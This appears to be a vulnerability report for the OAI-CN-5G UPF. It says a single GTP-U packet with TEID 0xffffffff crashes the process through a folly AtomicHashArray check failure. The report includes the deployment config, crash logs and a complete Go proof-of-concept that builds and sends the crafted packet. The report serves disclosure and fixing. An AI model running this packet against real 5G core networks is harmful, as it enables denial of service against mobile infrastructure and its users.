Skip to content

[Bug] UPF Crash on GTP‑U packet with TEID = 0xffffffff

OAI-CN-5G Release, Revision, or Tag

Description

When oai-cn5g-upf (simpleswitch datapath) receives a GTP‑U packet whose TEID field is 0xffffffff (2^32 - 1), the UPF process aborts with a fatal check failure inside folly::AtomicHashArray / folly::AtomicHashMap. This allows a remote attacker to trigger a denial of service by sending a single crafted GTP‑U packet on N3.

Config

config.yaml

      ################################################################################
# Licensed to the OpenAirInterface (OAI) Software Alliance under one or more
# contributor license agreements.  See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The OpenAirInterface Software Alliance licenses this file to You under
# the OAI Public License, Version 1.1  (the "License"); you may not use this file
# except in compliance with the License.
# You may obtain a copy of the License at
#
#      http://www.openairinterface.org/?page_id=698
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#-------------------------------------------------------------------------------
# For more information about the OpenAirInterface (OAI) Software Alliance:
#      contact@openairinterface.org
################################################################################

# OAI CN Configuration File
### This file can be used by all OAI NFs
### Some fields are specific to an NF and will be ignored by other NFs
### The {{ env['ENV_NAME'] }} syntax lets you define these values in a docker-compose file
### If you intend to mount this file or use a bare-metal deployment, please refer to README.md
### The README.md also defines default values and allowed values for each configuration parameter

############# Common configuration

# Log level for all the NFs
log_level:
  general: debug

# If you enable registration, the other NFs will use the NRF discovery mechanism
register_nf:
  general: yes
  
http_version: 2

############## SBI Interfaces
### Each NF takes its local SBI interfaces and remote interfaces from here, unless it gets them using NRF discovery mechanisms
nfs:
  amf:
    host: oai-amf
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0
    n2:
      interface_name: eth0
      port: 38412
  smf:
    host: oai-smf
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0
    n4:
      interface_name: eth0
      port: 8805
  upf:
    host: oai-upf
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth1
    n3:
      interface_name: eth0
      port: 2152
    n4:
      interface_name: eth0
      port: 8805
    n6:
      interface_name: eth1
    n9:
      interface_name: eth0
      port: 2152
  udm:
    host: oai-udm
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0
  udr:
    host: oai-udr
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0
  ausf:
    host: oai-ausf
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0
  nrf:
    host: oai-nrf
    sbi:
      port: 8080
      api_version: v1
      interface_name: eth0

#### Common for UDR and AMF
database:
  host: mysql
  user: test
  type: mysql
  password: test
  database_name: oai_db
  generate_random: true
  connection_timeout: 300 # seconds

## general single_nssai configuration
## Defines YAML anchors, which are reused in the config file
snssais:
  - &embb_slice
    sst: 1

############## NF-specific configuration
amf:
  pid_directory: "/var/run"
  amf_name: "OAI-AMF"
  # This really depends on if we want to keep the "mini" version or not
  support_features_options:
    enable_simple_scenario: no
    enable_nssf: no
    enable_smf_selection: yes
    use_external_udm: no
  relative_capacity: 30
  statistics_timer_interval: 20  #in seconds
  emergency_support: false
  served_guami_list:
    - mcc: 001
      mnc: 01
      amf_region_id: 01
      amf_set_id: 001
      amf_pointer: 01
  plmn_support_list:
    - mcc: 001
      mnc: 01
      tac: 0x0001
      nssai:
        - *embb_slice
  supported_integrity_algorithms:
    - "NIA1"
    - "NIA2"
  supported_encryption_algorithms:
    - "NEA0"
    - "NEA1"
    - "NEA2"

smf:
  ue_mtu: 1500
  support_features:
    use_local_subscription_info: yes # Use infos from local_subscription_info or from UDM
    use_local_pcc_rules: yes # Use infos from local_pcc_rules or from PCF
  # we resolve from NRF, this is just to configure usage_reporting
  upfs:
    - host: oai-upf
      config:
        enable_usage_reporting: no
  ue_dns:
    primary_ipv4: "1.1.1.1"
    primary_ipv6: "2001:4860:4860::8888"
    secondary_ipv4: "8.8.8.8"
    secondary_ipv6: "2001:4860:4860::8888"
  ims:
    pcscf_ipv4: "192.168.70.139"
    pcscf_ipv6: "fe80::7915:f408:1787:db8b"
  # the DNN you configure here should be configured in "dnns"
  # follows the SmfInfo datatype from 3GPP TS 29.510
  smf_info:
    sNssaiSmfInfoList:
      - sNssai: *embb_slice
        dnnSmfInfoList:
          - dnn: "oai"
          - dnn: "openairinterface"
          - dnn: "ims"
          - dnn: "default"
  local_subscription_infos:
    - single_nssai: *embb_slice
      dnn: "oai"
      qos_profile:
        5qi: 9
        session_ambr_ul: "10Gbps"
        session_ambr_dl: "10Gbps"
    - single_nssai: *embb_slice
      dnn: "openairinterface"
      qos_profile:
        5qi: 9
        session_ambr_ul: "10Gbps"
        session_ambr_dl: "10Gbps"
    - single_nssai: *embb_slice
      dnn: "ims"
      qos_profile:
        5qi: 9
        session_ambr_ul: "10Gbps"
        session_ambr_dl: "10Gbps"
    - single_nssai: *embb_slice
      dnn: "default"
      qos_profile:
        5qi: 9
        session_ambr_ul: "10Gbps"
        session_ambr_dl: "10Gbps"

upf:
  support_features:
    enable_bpf_datapath: off    # If "on": BPF is used as datapath else simpleswitch is used, DEFAULT= off
    enable_snat: yes           # If "on": Source natting is done for UE, DEFAULT= off
  remote_n6_gw: 127.0.0.1      # Dummy host since simple-switch does not use N6 GW
  smfs:
    - host: oai-smf            # To be used for PFCP association in case of no-NRF
  upf_info:
    sNssaiUpfInfoList:
      - sNssai: *embb_slice
        dnnUpfInfoList:
          - dnn: "oai"
          - dnn: "openairinterface"
          - dnn: "ims"
          - dnn: "default"

## DNN configuration
dnns:
  - dnn: "oai"
    pdu_session_type: "IPV4"
    ipv4_subnet: "10.0.0.0/24"
  - dnn: "openairinterface"
    pdu_session_type: "IPV4V6"
    ipv4_subnet: "10.0.1.0/24"
    ipv6_prefix: "2001:1:2::/64"
  - dnn: "ims"
    pdu_session_type: "IPV4V6"
    ipv4_subnet: "10.0.9.0/24"
    ipv6_prefix: "2001:1:2::/64"
  - dnn: "default"
    pdu_session_type: "IPV4V6"
    ipv4_subnet: "10.0.255.0/24"
    ipv6_prefix: "2001:1:2::/64"

Steps to reproduce

  1. Start a new go project inside a new folder: go mod init poc
  2. Create a main.go and paste the code below:
package main

import (
	"encoding/binary"
	"flag"
	"fmt"
	"net"
	"time"
)

const gtpUPort = 2152

func buildGTPv1UPacket(teid uint32, payload []byte) []byte {

	// Flags: 0x30 = Version 1 (001) | PT=1 | E=0 | S=0 | PN=0
	const gtpFlags byte = 0x30
	const gtpMsgType byte = 0xFF 

	headerLen := 8
	packet := make([]byte, headerLen+len(payload))

	// Flags
	packet[0] = gtpFlags
	// Message Type
	packet[1] = gtpMsgType
	binary.BigEndian.PutUint16(packet[2:4], uint16(len(payload)))
	// TEID
	binary.BigEndian.PutUint32(packet[4:8], teid)

	// Payload
	copy(packet[8:], payload)
	return packet
}

func main() {
	targetIP := flag.String("ip", "127.0.0.1", "UPF N3 interface IP")
	targetPort := flag.Int("port", gtpUPort, "GTP-U UDP port (usually 2152)")
	flag.Parse()

	addr := fmt.Sprintf("%s:%d", *targetIP, *targetPort)
	udpAddr, err := net.ResolveUDPAddr("udp", addr)
	if err != nil {
		panic(err)
	}

	conn, err := net.DialUDP("udp", nil, udpAddr)
	if err != nil {
		panic(err)
	}
	defer conn.Close()

	const evilTEID uint32 = 0xFFFFFFFF

	payload := make([]byte, 32)
	for i := range payload {
		payload[i] = 'A'
	}

	packet := buildGTPv1UPacket(evilTEID, payload)
	fmt.Printf("Sending GTP-U packet to %s with TEID=0x%08x, length=%d bytes\n",
		addr, evilTEID, len(packet))

	_, err = conn.Write(packet)
	if err != nil {
		panic(err)
	}

	fmt.Println("Packet sent. Waiting a bit before exit...")
	time.Sleep(2 * time.Second)
}
  1. Download required libraries: go mod tidy
  2. Run the program with the upf pfcp server address: go run ./main.go -ip 192.168.70.134 -port 2152

Logs

[2025-12-02 09:32:13.413] [upf_app] [start] Started
[2025-12-02 09:32:14.091] [upf_n4 ] [info] handle_receive(34 bytes)
[2025-12-02 09:32:14.091] [upf_n4 ] [info] Handle SX ASSOCIATION SETUP REQUEST
[2025-12-02 09:32:18.356] [upf_n4 ] [info] TIME-OUT event timer id 2
[2025-12-02 09:32:24.092] [upf_n4 ] [info] handle_receive(16 bytes)
[2025-12-02 09:32:24.092] [upf_n4 ] [info] Received SX HEARTBEAT REQUEST
[2025-12-02 09:32:34.092] [upf_n4 ] [info] handle_receive(16 bytes)
[2025-12-02 09:32:34.092] [upf_n4 ] [info] Received SX HEARTBEAT REQUEST
[2025-12-02 09:32:44.093] [upf_n4 ] [info] handle_receive(16 bytes)
[2025-12-02 09:32:44.093] [upf_n4 ] [info] Received SX HEARTBEAT REQUEST
[2025-12-02 09:32:54.093] [upf_n4 ] [info] handle_receive(16 bytes)
[2025-12-02 09:32:54.093] [upf_n4 ] [info] Received SX HEARTBEAT REQUEST
[2025-12-02 09:33:04.094] [upf_n4 ] [info] handle_receive(16 bytes)
[2025-12-02 09:33:04.094] [upf_n4 ] [info] Received SX HEARTBEAT REQUEST
[2025-12-02 09:33:14.094] [upf_n4 ] [info] handle_receive(16 bytes)
[2025-12-02 09:33:14.094] [upf_n4 ] [info] Received SX HEARTBEAT REQUEST
[2025-12-02 09:33:24.095] [upf_n4 ] [info] handle_receive(16 bytes)
[2025-12-02 09:33:24.095] [upf_n4 ] [info] Received SX HEARTBEAT REQUEST
[2025-12-02 09:33:34.095] [upf_n4 ] [info] handle_receive(16 bytes)
[2025-12-02 09:33:34.095] [upf_n4 ] [info] Received SX HEARTBEAT REQUEST
[2025-12-02 09:33:44.096] [upf_n4 ] [info] handle_receive(16 bytes)
[2025-12-02 09:33:44.096] [upf_n4 ] [info] Received SX HEARTBEAT REQUEST
WARNING: Logging before InitGoogleLogging() is written to STDERR
F1202 09:33:45.495388    26 AtomicHashArray.h:78] Check failed: key_in != emptyKey (4294967295 vs. 4294967295) 
*** Check failure stack trace: ***

Expected Behaviour

The UPF should not crash when receiving a GTP‑U packet with TEID = 0xffffffff, even if such TEID is reserved/invalid from a control‑plane perspective. The packet should be dropped and optionally logged, or should lead to a PFCP error indication, but must not cause an abort in folly::AtomicHashArray.

Observed Behaviour

The UPF process aborts with a fatal check failure inside AtomicHashArray.h:

[2025-12-02 09:33:44.096] [upf_n4 ] [info] handle_receive(16 bytes)[2025-12-02 09:33:44.096] [upf_n4 ] [info] Received SX HEARTBEAT REQUESTWARNING: Logging before InitGoogleLogging() is written to STDERRF1202 09:33:45.495388    26 AtomicHashArray.h:78] Check failed: key_in != emptyKey (4294967295 vs. 4294967295) *** Check failure stack trace: ***
  • key_in is 4294967295 (0xffffffff), which equals emptyKey.
  • The CHECK fails and the process terminates, causing a denial of service.
Edited by Ziyu Lin